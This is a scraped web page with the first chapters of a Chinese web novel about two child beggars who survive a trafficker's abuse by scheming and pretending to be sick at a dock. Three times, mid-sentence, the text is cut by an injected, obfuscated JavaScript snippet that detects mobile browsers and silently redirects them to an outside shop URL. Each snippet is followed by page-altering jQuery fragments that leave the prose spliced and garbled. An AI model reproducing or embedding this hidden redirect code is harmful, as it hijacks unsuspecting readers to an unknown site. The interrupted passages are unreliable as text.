《寒春恨晚》 1. 第 1 章 京城的冬天很冷,连一些普通人家的孩子都难熬,更不要说两个被人贩子养起来的小孩。 雪下的有点大了,沈寒春抱着姜恨晚缩在破屋的角落。 今天依旧一无所获,连出门采购的人都很少,更别说愿意施舍的人了。 在屋子外面,一个妇人抱着僵硬的孩子,嘴里念叨着,“等你爹回来了就好了,等你爹回来了就好了。”她一边哭一边笑,眼泪止不住地流,抱着孩子的手一直在摇啊摇。 一个身形消瘦的中年男人上前看了看,女婴面色发青,眼睛紧闭着,他啧了一声,“不是,这都死了啊,怎么卖啊。” 妇人脸色一僵,她看着怀里的孩子,随后像是被烫到了一样,破口大骂,“你什么意思?和我来之前还好好的呢,你是不是就是不想给钱?我告诉你,想赖账门都没有,我们家阿福身体健康的不得了,要不是活不下去了,谁愿意卖闺女啊?” 男人啧了一声,“说的倒是好听,你这孩子看着都有个五六岁了吧?怎么,还不会走路?还要你抱着吗?我们这可不收死人,快点滚。”他没顾妇人的哭闹,把她赶出门外,用力关上了门。 女人的哭闹声起初还很大,但是随后就越来越小,淹没在了风雪之中。 她抱着女儿走了,也有可能是走到一半就扔了。 男人长叹了一口气,摇了摇头,“今年收成有点差啊。”随后,大步朝屋子内走来。 姜恨晚抱着沈寒春的手紧了一点,“我们会死吗?” 沈寒春抱着她的手背带着淤青,那是偷东西被发现后打出来的,“不会的。” “吱呀”破旧的木门被男人推开,他扫视了一圈在地上瑟瑟发抖的孩子们,表情里满是不耐烦,“你们今天谁要到钱了?” 没有人说话,所有人都低着头,不敢去看他。 男人皱着眉,表情更冷了,他上去就抓着旁边一个年纪最大的孩子用力甩了两巴掌,“废物,你连剩下的一只腿也要被砍断吗?” 那个孩子捂着脸,一句话也不敢说,手抖的快摸不住自己的脸,眼泪一个劲的流,但是连声音都不敢发出来。 鼻涕砸在男人手上的时候,他嫌恶的把那个孩子甩在了地上,但是他只有一条腿,所以又在地上滚了半圈才勉强坐好。 男人指着角落里的姜恨晚和沈寒春,“你们两个,给我过来。” 外面的雪还在下,发出细微的响。 屋子里面的孩子把头埋的更低,根本不敢往角落看。 姜恨晚感觉到抱着她的那双手在微微发抖,连带着主人的声音都开始粗重起来。 姜恨晚没说话,她稳稳地拉着沈寒春的手站了起来,一点一点的挪到了男人面前,每走一步,心就往下沉了一分。 男人盯着姜恨晚那张尚且稚嫩的脸庞,狠狠地呸了一声,“真是白瞎你这张脸了,过两天会有人来挑丫鬟和童养媳,你给我放机灵一点。” “是。”姜恨晚应下,她在身后的手还在死死地抓住沈寒春。 丫鬟和童养媳?不过是一个又一个低贱的商品而已。 “至于你吗……”男人意味深长的看了一眼沈寒春,“之后再说吧。” 没有人知道那句之后再说到底是什么意思,沈寒春的目光带着点凶,但是也只能沉默的应下。 男人看着那带着点恨劲的目光,呸了一声,他上前一步作势要打,沈寒春抿着唇上前一步结结实实挨下了那一巴掌,把姜恨晚护在身后。 他被打的身体不受控制的倒,踉跄了两步,但是还是稳住了身体,没有直接摔倒在地。 这一巴掌毫无预兆,他们打人也从来不需要什么谈判的理由。 沈寒春站直了一些,他没有捂住自己的脸,就那么垂着眸子静静的和男人对视。 “噗,还是个硬骨头。”男人的语气带着点嘲讽,“这个时候还想着保护你的小相好啊。” 话音未落,姜恨晚像是被这句话烫到,浑身一颤。她脚下一软,往前踉跄了半步,就那么跪在了他们中间。 她像是吓到了,拉着男人的裤脚就呜咽道,“我们……我们会努力的,我们会赚钱的,不要打我们,求求你。”她的话语无伦次,脸上带着泪水看上去楚楚可怜。 风还在呜咽,姜恨晚深呼吸了几口气根本不敢抬头看他。 而其他人则缩在角落近乎冷漠的看着这场闹剧,除了姜恨晚的呜咽,没有一个人发声。 雪下的似乎更大了,这个破屋子本就四面漏风,他们就那么瑟缩着,随便一点磨难都可能让他们本就不值钱的生命夭折。 姜恨晚哭的太急,她深吸了一口气,却还是止不住生理性的咳嗽,她用手偷偷攥住了沈寒春的裤脚,让他不要冲动,说到底,男人只是想看他们服软,那就让他看到他们已经被吓傻了。 男人低头,看向那个瑟瑟发抖的小东西,还有伸手无意识护着她但是也没有轻举妄动的沈寒春,一个打服了,一个吓傻了。 他收回手,露出了一个意义不明的笑容,没再看他们,而是略过他们直直地看着那些低着头缩成一团的孩子们。 “还有你们,”男人扫视了一眼那些畸形的孩童,“以后,可不要再颗粒无收了。” 没有回应,有的人在抱着自己发抖,还有的人在闭着眼睛哭,没有人敢抬头看他。 “鉴于你们今天的不好表现,你们每个人只有一个馒头。”他冷漠的宣布了今天的粮食,往屋子外走了几步,扔下了一个麻袋,里面装着这一屋子孩子所有的“口粮” 显然,他并不想把这些馒头一个个分给这些饥肠辘辘的孩子,确切的说,让这些孩子因为一个馒头打起来才是他想要的。 他走了。 随着门的闭合,姜恨晚和沈寒春马上扑到那个袋子面前,借着身体的遮掩,沈寒春赶紧把3个馒头从衣摆塞进姜恨晚的肚兜,又拿了两个攥在自己手里。 下一刻,他们就被狠狠的拨开了。 那个年纪最大的孩子用力把他们推开,抓着馒头就往嘴里塞,狼狈而凶狠。 沈寒春抱着姜恨晚让她摔在自己的身上,然后两个人就这么一瘸一拐的往角落走。 姜恨晚脸上的泪痕还没干,但是已经带了不符合这个年纪的算计和冷静。 那个麻袋犹如鲨鱼中唯一的一点血腥味,被彻底包围。 刚刚还唯唯诺诺的孩子们,现在相互推搡着,争吵着,后来者发了狠的从前面的人嘴里抢到剩下的半截馒头,就着泥土和灰尘直接入腹。 有人在向他们看来,姜恨晚和沈寒春赶紧把手上的最后一口馒头吃入腹中,以示清白。 雪没有落到这个屋子,所以也洗不掉馒头上的泥土。 刚刚没吃到东西的孩子只能缩在角落里,用着厚厚的稻草来御寒。 他们两个年纪小,可以把身体紧紧的贴在一起盖同一床稻草被,吃的也少,一个馒头在夜晚可以你一口我一口的撕碎了吃完。 但是今天情况有点不同。 一个独眼女孩颤颤巍巍的走了过来,她问,“你们是不是多拿了?我刚刚好像看到你们多拿了。” 借着稻草的遮掩,姜恨晚立马把肚兜里的馒头扔到惯常藏东西的坑里,用稻草盖住。 但是面上还是一副唯唯诺诺的样子,“没有,我……我们根本没有机会。”说着,还向那个断腿少年看了一眼。 “真的吗?”独眼女孩又问了一遍,她已经两天没吃到东西了,风雪太大,饥饿和低温让她本就恐怖的脸显得更加狰狞。 “真的,姐姐,我们都好饿。”姜恨晚说,说着说着,就开始止不住的小声呜咽。 独眼女孩走了,她缩回那个稻草被里,把自己蜷成一团,不再言语。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341281|199339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈寒春把他们的稻草被裹得紧了一点,漏风的地方就用自己的身体先挡住,撑起这个摇摇欲坠的小窝。 “好冷。”姜恨晚低声说,她扯着沈寒春的手说,“别撑着了,反正也挡不了什么风。” “嗯。”沈寒春应了一声,他转了个身把刚刚姜恨晚装哭流出来的泪痕擦掉,“她快死了。” 姜恨晚没说话,她把头靠在沈寒春的肩膀上,呼吸平稳。 但是沈寒春感受到了肩膀的湿意。 过了好半晌,才听到姜恨晚很小声的话,“我只是想和你一起活着。” 沈寒春抱着她的手紧了点,“我知道。”他的声音同样很小,两个人就这么缩在一起,断断续续听着对方的抱怨。 “刀疤脸叫我们的时候,我都快吓死了。”姜恨晚趴在他的肩头碎碎念。 “那你还站起得那么快?”沈寒春回了一句。 “因为我只是快吓死了,并不是真的想死,我很勇敢的。”姜恨晚用手扯着他的头发绕着指尖打转,“你的脸疼不疼?” 沈寒春摇了摇头,也不说话,就闷闷的坐着。 “你就装,脸都肿了。”姜恨晚闷闷不乐的说,想说他但是还是有点心疼,“那刀疤脸真是发神经,好端端的打什么人啊?” “没事。”沈寒春说,他拉着姜恨晚的手贴在自己的脸上蹭了蹭,其实他现在都有点耳鸣,嗡嗡的响,但是说出来没有任何作用,只会让女孩担心。“你没事就好。” “哦,好,你没事。”姜恨晚敷衍的回应着,继续扒拉他的头发,她深吸了一口气,“我之后会让他付出代价的。” 她的眼睛带着一股令人心惊的坚定,沈寒春知道她是认真的,“好,我陪你。” “你说,我们未来会逃出去吗?”姜恨晚的声音很闷,就在耳边响起。 “会的。”沈寒春很肯定的说,“一定会的。” “又在安慰我了。”姜恨晚切了一声,“我才不想给人当什么丫鬟啊,小妾啊,守着一个儿子就守了一辈子。” “嗯,你不会的。”沈寒春说,“你这么厉害,以后也一定是很厉害的人。” 姜恨晚短促的笑了一下,她搂着沈寒春的手紧了一点,“什么狗屁不通的句子,要我说啊,你以后才厉害呢,看着跟个闷葫芦一样,其实心里的坏水可多了,坑人一坑一个准。” “那我们以后都会很厉害。”沈寒春说,男生稚嫩的声音透着坚定,他真的就是这么认为的。 “哎呀,快别说以后了,就连现在都过得破破烂烂的。”姜恨晚打断了他,“这个冬天这么冷,不知道要死多少人。” “刀疤脸本来也没打算养这么多人了。”沈寒春说。 “我不想和你分开。”姜恨晚的声音有点发抖,沈寒春抱紧了她,女生的体温很低,手脚冻的冰凉。 “那我们就不分开。”沈寒春说。 冬天天黑的很快,在晚上的时候沈寒春把姜恨晚圈在角落里,自己睡在外面,期间一直有断断续续的咳嗽声响起,是独眼女生的,虚弱而疲惫。 第二天,大家睁开眼的时候发现,她死了。 那个独眼女生抱着自己的稻草就这么悄无声息的死在了角落,死之前不知道看到了什么,脸上还带着释然的笑容。 刀疤脸进来看来一眼,把她随意地扔了出去,以免在里面发臭长蛆。 屋子里的孩子面色冷淡,没有一个人感觉有什么不对,扯着自己的稻草被子蜷缩在一团。 直到死之前,姜恨晚都不知道那个女生叫什么名字,只知道她是独眼。 这里的孩子大部分没有名字,也用不上名字,死的悄无声息,毫无价值。 她死死攥着沈寒春的手,突然就感到了悲哀。 沈寒春回头,用脸颊轻轻的蹭着她的脸颊,“我们不会这样的,相信我。” 2. 第 2 章 “嗯……”姜恨晚也蹭了蹭他的脸,像两只小动物在冰天雪地里互相抱着取暖。 门打开的时候,冷风直直地往里面灌,刀疤脸扔完尸体后有点嫌恶的拍了拍手,偏头往地上吐了一口痰,骂到,“晦气。” 他看向这些孩子,指了指姜恨晚和沈寒春,“你们,去东街要饭,那里的人还算有钱,就喜欢你们这种漂亮小孩。”他的语气带着嘲讽和恶意,对这种靠样貌要饭的,他一向不怎么看得上。 姜恨晚往沈寒春的怀里出来了一点,细声细语道,“明白的哥,但是东街老爷们有钱,也更惜面、多疑。我们这样直愣愣去要,他们嫌晦气,给个铜板就想打发。” 沈寒春抓着她的手紧了紧,昨天的暴起让他有点担心,姜恨晚轻轻捏了捏他的手,像是昨天什么都没有发生一样,明明声音又小又软,但是她目光清亮,丝毫不惧。 “码头今天有新船到,脚夫、货商多,外地人心软。您若信我们,让我们去那儿,就说是带妹妹治病没钱了,一天至少多三成。”她诚恳地看着刀疤脸,字字句句,皆是为对方考虑。 刀疤脸没第一时间说话,只是冷冷的注视着他们,自己在心里盘算着。 她抬起眼,目光清澈:“多讨的钱,我们全数上交,一文不藏。只求哥应我们两件事:一是每天赏我们一人一个铜子,我们对外说是攒钱买药,戏更真,能讨更多;二是若偶尔有天运气背,讨不够数,您容我们一晚,我们第二天一定补足,绝不让您亏。” 屋内的孩子都屏住了呼吸,在偷偷的看向他们,刀疤脸很凶,从来没有人敢和他提要求。 沈寒春没动,姜恨晚去哪里他就去哪里,真挨打了,他帮她多受两板子就是了。 “你在和我讨价还价?”刀疤脸居高临下的注视着那个小兔崽子,“你们的一切都是我给的,说的倒是好听,但是你有什么资格提要求呢?” 姜恨晚非但没有退缩,反而将身体伏得更低了些,姿态愈发恭敬,声音却依旧平稳清晰: “哥,我们不敢讨价还价。我们的命是您给的,哪有什么资格?我们只是您手里的物件,物件好了,用着顺手,主人也舒心。”她偷偷打量着刀疤脸的眼色,对方面色冷硬,看不出明显的喜怒,她也只能硬着头皮说下去。 “多要一个铜子,是为了让‘妹妹快病死了’这出戏更真,外地人看了才肯多给。” “求您容一晚,是怕万一有天失手被打废了,再不能给哥您当挣钱的物件。” 她抬起眼,目光真挚而没有任何威胁。 “绳子松一寸,狗才能跑远点,叼回来的肉,不还是主人的?” 刀疤脸双手抱胸,食指在手臂上轻轻的点着,最后发出一声意义不明的嗤笑,“你倒是机灵。” 姜恨晚闻言,心瞬间就悬了起来,昨天的巴掌还历历在目,但是下一刻,刀疤脸补了一句 “如果今天带回来的钱不够,那么你,还有你旁边的那个兔崽子都会被打。” 姜恨晚的手抖了一下,她本来并不想牵连到沈寒春,但是沈寒春只是捏了捏她的手,让她放心。 “我明白了。”她低头应下。 刀疤脸哼了一声,转头看向其他孩子,“那你就去东街吧。” “你去西街” “你去茶楼”…… 其余的孩子一个个应下,没有一个人敢反对他的决策。 在风雪渐停的时候,他看着这些孩子,留下了最后一句警告,“你们去的每一个地方,都有我们的人,有些人可不像我这么好说话。”他意义不明的看了一眼姜恨晚,“别想着私藏。” 随后又扫视了一眼这些孩子,“更别想着逃。” 死寂。 在说出逃这个字的时候,所有人的身子都抖了一下,逃跑者的死相,他们所有人都见过,没有人想当下一个。 “现在,你们可以走了。”他哼着小曲,踹开了本就破烂的木门,走了出去。 一分钟后,第一个孩子拖着僵硬的身子出了门,陆陆续续有孩子站了起来,祈祷着今天能有个好收获,能少挨点打。 沈寒春先站了起来,他拉着姜恨晚的手想把她拉起来,但是第一下没拉动。 姜恨晚的腿都软了,手脚软绵绵的,不自觉的在抖,她其实没有表现的那么勇敢。 沈寒春重新坐了下来,他抱着姜恨晚用手轻轻拍打着她的后背,让她靠在自己的怀里缓一下,姜恨晚双手搂着他的脖子,小声的说,“吓死我了。” 沈寒春点了点头,他揉着姜恨晚的头发,“但是结果是好的,你想要的达到了不是吗?” 姜恨晚趴在他肩头问,“你知道我要什么吗就这么说。” “从结果来看,肯定是好的,无非就是多了一点压力。”沈寒春说,他一个借力把她了拉起来,“快走吧,大家都快走的差不多了。” 屋子里的人稀稀拉拉的,他们才刚出门就被冷的一哆嗦,一路上都有人在盯着他们,姜恨晚挨着沈寒春,一点一点走到目的地。 路过一个干净点的水坑的时候,沈寒春扯了扯姜恨晚的衣袖,示意她可以洗一把脸。 在这种地方,大家都是臭臭的,也不知道沈寒春哪里来的习惯一定要把自己收拾的干干净净。姜恨晚动作僵硬地洗了把脸,被冷的一激灵,赶紧把手塞到沈寒春手里。 沈寒春甩了甩手上的水,他也刚洗完,手很凉,两只冰凉的手靠在一起,都没什么知觉了。 姜恨晚靠着沈寒春小声问,“那个时候你就不怕吗?” 他们两个人都一样大,身高也差不多,沈寒春也悄悄对着她耳朵说,“怕啊,但是不干什么迟早会死啊。” 他拉着她的手,在路上踢着石头,“你比我聪明,我想不到的东西,你能想到,相比于怕这些,我更怕我保护不了你。” 他的声音很闷,“而且,你又不会害我。” 姜恨晚拉着他的手紧了紧,“嗯,但是我怕我会害你啊,就比如今天,要是我们没有要到那么多钱,怎么办?” “那就挨一顿打呗,我会保护你的,又没什么。”沈寒春理所当然的说。 姜恨晚看了他一眼,“我不会让你挨打的,相信我。” 沈寒春拉过他们的手吹了一口热气,“我一直都信的。” 姜恨晚没说话了,他们沉默的走着,突然,她一把摸上了沈寒春的头发。 “虫子。”她闷闷地说,可是手上什么都没有。 沈寒春点了点头,根本没回头,也没有问她是什么虫子。 越靠近码头,他们走得越慢。 沈寒春弯腰,让姜恨晚趴到自己的背上。 码头的喧嚣像一层厚重的油汗,贴在每个人身上。咸腥的河风裹着货尘、汗臭,吹过脏乱的岸边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341282|199339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜恨晚小小的身子完全靠在沈寒春背上,脸色在脏污下透出一种不祥的灰白。她的眼睛半阖着,每一声细弱的咳嗽都牵动着身体,引得破旧衣料簌簌作响。 他们没有在一个地方停留,避免被驱逐,姜恨晚指挥着沈寒春,“看到那边没?那些人刚刚卸完货,脸上还带着笑容,去找那个看着有点苦相的人试试。” 沈寒春点了点头,他绕到了他们附近,姜恨晚适时的咳嗽了两声,沈寒春眼眶立马红了,“妹妹,妹妹你坚持一下,哥一定会想办法的。” 他扑到了那个码头工人旁边,“求求你,求求你救救我们吧,我妹妹得了重病,眼瞅着就快不行了,求求你给我们点钱吧……”沈寒春的眼泪止不住的往下掉,他才七岁的小身板差点摔在地上。 那个人愣住了,他摸了摸自己的口袋,抿着唇一句话也没说,拿出了两枚铜钱,塞在他们手上摆摆手就走了,风尘仆仆的赶往下一场疲惫。 “谢谢大善人,谢谢!”沈寒春鞠了个躬,把一枚塞到了自己割开的内袖里,抱着姜恨晚就走。 “去左边,巡逻的刚刚往这边走了,刚刚来的是第二班,我们不能和他们碰上。” 沈寒春嗯了一声,他的脸上还带着泪珠,“我刚刚看了一眼,这几艘船吃水都很深,运的好像是矿物,包的很严实。” 姜恨晚把这些信息一一记下,她不知道有没有用,但是那有用的一小部分信息有时候足够救命。 “看那边,有一个妇人在抹眼泪。” 沈寒春观察着周围,踉踉跄跄走过去的时候,姜恨晚一直在咳嗽,沈寒春则是一副连力气都没有的样子,虚虚地捏着她的衣摆,只能发出一点虚弱的气音,“求求你,救……她。” 大娘一惊,面露不忍之色,“好好的孩子,怎么这么惨,拿着吧。” 她颤颤巍巍地拿出来五枚铜钱,放到了沈寒春手上,“我想囡囡如果能活着,现在也这么大了吧?” 沈寒春的泪都干了,眼眶泛着红,“一定会的。”他对着大娘微微鞠了个躬,“谢谢你,谢谢你。” “没事的,可怜的孩子。”她摆了摆手,“你这妹妹是什么病啊?”她担忧地看着姜恨晚,大有一副长谈的架势。 姜恨晚看到了远处巡逻的人,赶忙拍了拍沈寒春的背,“这个病要花很多钱,具体是什么我也不知道,大娘,我先走了啊。”没等挽留,他已经走出去好几米远了。 他背着姜恨晚,又一次躲回了集装箱的阴影里。 就这样反复多次,直到中午的时候,他们才获得了短暂的休息。 姜恨晚掏出怀里的馒头,掰开了一点给沈寒春。 干涩,感觉像是石头在摩挲食道,但是这还是他们费了好大力气才得来的食物。 姜恨晚把馒头撕碎了小口小口的嚼,她的体力消耗没有沈寒春那么大,但是都累的不轻。 沈寒春的呼吸很重,长时间的奔跑让他很疲惫,但是还是选择把中途要来的清水给姜恨晚喝。 “还有两口。”沈寒春摇着水壶,“你喝吧。” 姜恨晚的喉咙还很痛,装咳嗽对喉咙一直是个不小的负担,她看了一眼沈寒春,犹豫了一下,还是接过,很珍惜地抿了一口,仅仅只是让水打湿了她的嘴唇。 “喝好了。”她把水壶递给了沈寒春,沈寒春点头,没有注意那么多,仰头将水一饮而尽。 3. 第 3 章 “看着我们的除了那个打手,应该还有一个。”姜恨晚借着集装箱的阴影和沈寒春小声交流着。 “嗯,不然的话早就有人跑了。”沈寒春呼了一口气,把水壶递给姜恨晚,姜恨晚顺势接过放在自己的怀里。 “是谁呢?”姜恨晚捏着水壶带子无意识地摩挲着,“啧,那个人从来没露过面,每次都是那个打手把码头上逃跑的孩子抓回来的。” “是的。”沈寒春揉了揉她的脑袋,又自然垂落在她的肩上让她靠过来,不急不慌的说,“那个人在暗处,而且可能和我们已经有过接触了。” 姜恨晚沉默了,她转头闷闷不乐的看着沈寒春,“我说,你就一点都不急吗?” 沈寒春懵了一下,他眨了眨眼睛,“我急啊。” “那你怎么还看上去这么云淡风轻的。”姜恨晚靠上去扯住了沈寒春还是有点肉肉的脸,“你看啊,我们以前被打的时候你不怪我,我要干嘛你也只是跟着我一块干,有时候我都快吓死了你还和个没事人一样。” 姜恨晚揉搓着他的脸,下了个定义,“一点都不急,也不上心。” 沈寒春就让她捏着,含糊不清地说,“只是我一直比较平静而已啊。” 姜恨晚哼了一声,大发慈悲的放过了他的小脸蛋,她用脚顶着地上的沙子,过了一会儿才说,“我知道的。” 她又向外看了一眼,外面的人很多,空气中还是有汗味和河水的气息。 “急的人是我。”她一探手又拉住了沈寒春,“我怕我们今天赚不够又挨打了。”絮絮叨叨的,“我还怕我们一辈子就这样了。” 沈寒春摇了摇头,他拉起了姜恨晚,“我们今天肯定可以赚的。”他弯腰,让她从背上上来,“至于以后,谁说的清楚呢,慢慢来就好,反正我们会陪着对方的。” 姜恨晚重新趴在了他肩上,“好啦好啦,别说了,我们还是先过完今天吧。” 沈寒春点头,他背着姜恨晚,熟练的开始边走边抹眼泪,姜恨晚也开始断断续续的咳嗽和发出细微的呻吟。 但是就在出拐角的时候,他们发现惯常走的那条路,已经被封了。 “我想到了那些外地来的码头工人给的钱会多一些,但是我忘记了,他们运的可能是矿,这足以让官兵来封锁道路了。”姜恨晚的声音带着颤抖,她看着他们逐渐架起的围栏,攥紧了手心。 码头被封,意味着他们今天下午很可能要不到多余的钱了,但是今天早上他们才答应过刀疤脸,如果要不了那么多钱,那……她不想细想。 姜恨晚立刻伏低身子,在沈寒春耳边快速低语,语速快但清晰:“别停,三件事,一、看哪个官爷帽子最花;二、看栅栏底下有没有能钻老鼠的缝;三、找那个看我们的打手,看他的脸。” 她的声音又快又急,事到如今,也只能赌一把了。 她看到那“帽子最花”的军官正烦躁地踢开一个箩筐。 姜恨晚脑子里“啪”地亮了一下——就像她以前发现,最凶的看守,其实最好糊弄,因为他不耐烦细究。 “去他跟前哭。”她吐出四个字。 沈寒春一僵。他的手紧了紧,但是什么都没说,转身就要往一个个官兵面前走。 “他嫌烦,就会想用钱砸我们走。别人看他给钱,也会给。”她补了一句,语气是一种被逼到绝境后的冰冷平静,“这是现在最快要到钱,而且不惹他真生气的法子。我们哭得越惨,他越想快点打发。” “现在,开始哭。”姜恨晚冷静地命令道。 沈寒春没有迟疑,他背着她蹭过去,哭声震天。姜恨晚在他背上咳得撕心裂肺,小手在空中乱抓,仿佛下一秒就要断气。 “给点钱吧老爷,我妹妹,我妹妹真的不行了,求求你了,给点钱吧,一文钱也行啊。”沈寒春哭得几乎喘不上气来,姜恨晚则在观察着那个人的脸色,她在赌,赌这个最大的官做不到当着这么多人的面打两个小孩。 但是在扫视那个人的瞬间,姜恨晚僵住了。 军官腰牌上有个模糊的“矿”字。旁边一个穿着好料子、但一直赔笑的人,腰带上挂了个小木牌,上面刻了艘船。 这和当时卖她的人的腰牌一模一样。 那个军官皱了皱眉,直接从怀里摸了摸丢出来几粒碎银子摆摆手示意他们离开。 旁边一个赔笑的商人则是有点不满的看着他们,在旁边把守的士官则是目不斜视,像是什么都没有发生一样。 姜恨晚立马拍了拍他的肩膀,示意他“快走,别哭了” 他们没有再向其他人乞讨,在向那个军官老爷鞠了几个躬,说了畏畏缩缩的谢谢之后,就攥着那点银钱踉踉跄跄的向外走,走的时候还显得很慌忙,像是被吓得狠了。 没走多远的时候,还能听到风中传来的交谈声。 “……耽误了……” “……是老爷要的!……” “……好嘞……” 走的时候,没一个人敢回头看,路上的氛围压得人喘不过气来,“阿春,我,我们……” “你们什么啊?”两人刚离开封锁线的视线范围,转入一条堆满废桶的夹道,一个高大的阴影就堵在了前面。 姜恨晚的脑子快速转动,她知道他们的举动十分大胆,但是没想到打手会来的这么快。 打手抱着胳膊靠在墙上,胳膊的刀疤在晦暗的光线下像条蜈蚣。他没看沈寒春,眼睛像钩子一样钉在姜恨晚脸上。 “可以啊,俩小崽子。”他声音不高,甚至有点似笑非笑,“胆子挺肥,往官差跟前凑?” 姜恨晚在沈寒春背上猛地一哆嗦,把脸死死埋进他颈窝,小手紧紧攥着他的衣服,开始控制不住地抽噎。 打手的出现,让她的猜测被证实了,他们一直被紧紧盯着,刚才的举动极其危险。 沈寒春本能地侧过身,想把姜恨晚挡在身后,脸上还挂着没擦干的泪痕,声音带着哭腔和困惑:“叔……官爷好凶,我们怕……我们就想讨点钱,怕回去挨打……” 他的脸上还带着小孩的脆弱和后怕,像是完全被吓破了胆。 打手没接话,他走近两步,越过沈寒春用粗糙的手指粗暴地捏住姜恨晚的下巴,强迫她抬起头。他盯着她的眼睛,带着审视和狠戾。 “听见什么了?”他问得随意,但手指的力道在加重。 姜恨晚吓得连哭都忘了,嘴唇哆嗦着,话碎得不成句:“听、听见官爷骂人……让、让滚……呜……”她猛地又咳起来,这次是真的被掐得气息不畅,眼泪鼻涕一起流,眼睛红肿还带着惊恐。 见姜恨晚被掐的呼吸不稳,沈寒春上前一步撞开了打手,打手也顺势松手,沈寒春把姜恨晚护在身后,他的眼神带着凶狠,刚刚装出来的脆弱和后怕已经荡然无存,像是被逼急了的狼崽子,直直地注视着打手,但是还是说,“我们不知道怎么了,我们今天都在好好讨饭,看到码头被封了,实在没办法了才像官爷要的,我们做错什么了,你说我们一定改。”他的声音断断续续的,说一句话还要喘几次气,但是一步都没有退,就这么挡在姜恨晚前面,脊背笔直。 打手盯了他们几秒,忽然松手,甚至扯出个古怪的笑。他拍了拍沈寒春的头,力道不轻。 “行,没听见就好。”他俯下身子,对沈寒春说,“你,还有你身边那死丫头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341283|199339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,要记住,不该知道的东西,别知道。” 他的声音很冷,就在耳边回响,沈寒春瞬间头皮发麻,鸡皮疙瘩都起来了,但是与此同时,他的脸冷的可怕,“好的。” 姜恨晚捂住了自己的脖子,哭着点了点头。 他顿了顿,从怀里摸出两个干硬的饼子,扔给他们。 “今天讨得还行,赏的。吃完赶紧滚回去,别在街上瞎晃。”饼砸在了姜恨晚身上,她立马接住,很珍惜地放在怀里,“谢谢,谢谢大人……” 打手嗤笑一声,转身就走,像来时一样悄无声息。 他们两个缩在这一小片阴影里好半天没动,确定他真的走了,四下无人之后,沈寒春才问,“他信了?”他的嗓子发干,带着麻木。 姜恨晚缓缓摇头,眼神空洞地看着手里的饼子“他没信。他只是暂时没找到理由处理我们。” 沈寒春呼了一口气,他往姜恨晚那里爬了两步,抱着她,这时候谁也顾不上谁脏了,他搂着她拍她的背,就像是往常一样。 姜恨晚闭了闭眼,她要缓一缓,今天一整天,她的神经都高度紧绷,错了一步,就是万丈深渊。 “小晚。”沈寒春哑着嗓子喊了一声。 “嗯?”姜恨晚靠着他,擦掉他脸上的灰尘,“怎么了?” 沈寒春没第一时间说话,只是把用手背同样擦着她的眼泪,“没事的。” 姜恨晚深吸了一口气,点了点头,“我们撞到大鱼了。” 她拿起那张饼子,没吃,而是借着昏暗的光,仔细看。 “这饼……比平时给的赏好。里面有碎盐粒,还有一点点油腥。” 她抬头,看向沈寒春,脸上没有一点得到食物的喜悦,只有更深的寒意: “他在喂他觉得还能下蛋的鸡。也是在告诉我们……听话,就有好的吃。” “不听话嘛……”她把手做成了剪刀状,像是从底端把饼剪破,“就这样。” 沈寒春配合地从她的手下面把那一小部分饼撕下来,然后塞进她的嘴里。 姜恨晚被打断,瞪了他一眼,但是沈寒春只是给她又塞了一点进去。 “唔唔,你这是在浪费粮食。”姜恨晚被塞了一嘴珍贵的大饼,很是心疼地控诉他。 “不算浪费的。”沈寒春拍了拍手,“就算是下蛋的鸡,这么久了也下够了多吃点很正常。” 姜恨晚很珍惜的感受着嘴里的盐粒,“那你也吃。”她把手里的饼撕了一点又塞到了沈寒春嘴里。 “比馒头好吃。”沈寒春仔细咀嚼了一下得出了结论。 “你这不是废话吗,好多孩子一整年可都吃不到这饼。”姜恨晚又撕了一点塞到嘴里。 “他们说的老爷要的……应该就是我们这种孩子。”姜恨晚嚼着,又开始分析。 沈寒春没接话,只是把手里的饼放到她怀里,然后转身揉了揉她的头发。 “唔唔,你又干什么啊。”姜恨晚很不满地问他。 “我知道你思绪重,但是现在怎么看都不是讨论这个的好时机吧。”沈寒春说,“吃都堵不住你的嘴吗?” 姜恨晚哼了一声,“你怎么这么说我。”她又把饼塞到沈寒春怀里,然后去掐他的脸。 两个人闹闹的滚作一团,后来实在累了,又当什么都没发生一样的挨在了一起。 姜恨晚感觉他幼稚死了,但是自己确实感觉放松不少了,她能感觉自己的肌肉刚刚在高度紧绷,现在已经完全放松下来了。 “今天肯定够了吧。”沈寒春掂量着手里的钱袋子,“我藏了三文。” “够是够了。”姜恨晚说,“累也累死了。” 4. 第 4 章 “幸好你聪明,不然我们肯定完蛋了。”沈寒春说,他把剩下的饼塞到了怀里面,这是不吃了,要留着的意思。 